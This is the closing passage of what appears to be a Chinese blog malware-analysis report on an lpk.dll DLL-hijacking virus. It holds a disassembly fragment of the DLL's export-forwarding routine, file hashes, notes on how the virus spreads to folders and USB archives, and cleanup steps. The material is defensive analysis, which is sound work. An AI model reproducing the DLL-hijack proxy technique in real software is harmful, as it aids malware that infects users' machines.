mov     lpftsWordBreak, eax
retn
GetSysLpkAddrAndFillMeExportTable endp

MyGetProcessAddr proc near              ; .获取系统lpk.dll指定函数名地址

lpProcName= dword ptr  4

push    [esp+lpProcName]            ; lpProcName
push    ghSyslpk                    ; hModule 系统lpk.dll句柄
call    ds:GetProcAddress
test    eax, eax
jnz     short FINISH
push    0FFFFFFFEh                  ; uExitCode
call    ds:ExitProcess              ; 获取系统lpk.dll函数地址失败,则结束进程
; ---------------------------------------------------------------------------

FINISH:                                 ; ...
retn    4
MyGetProcessAddr endp

 

lpk.dll        CRC32:39698AE


hra23.dll    CRC32:39698AE  


*.exe          CRC32:B9C46B85


* 其文件名每次都变化,但 CRC32:B9C46B85不变,确定是同一文件。


每个文件夹及U盘压缩文件都会产生lpk.dll 文件。




经过检查没有发现‘’usp10.dll‘’文件。

最后用lpkKiller(lpk/usp10专杀工具)全盘查杀!
再用EveryThing搜索lpk&usp10手动删除后才搞定的!

赞(0)
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《【lpk.dll病毒/木马】分析报告》
文章链接:https://www.skykkk.com/archives244588.html
本站资源仅供个人学习交流,请于下载后24小时内删除,不允许用于商业用途,否则法律问题自行承担。

相关推荐

  • 暂无文章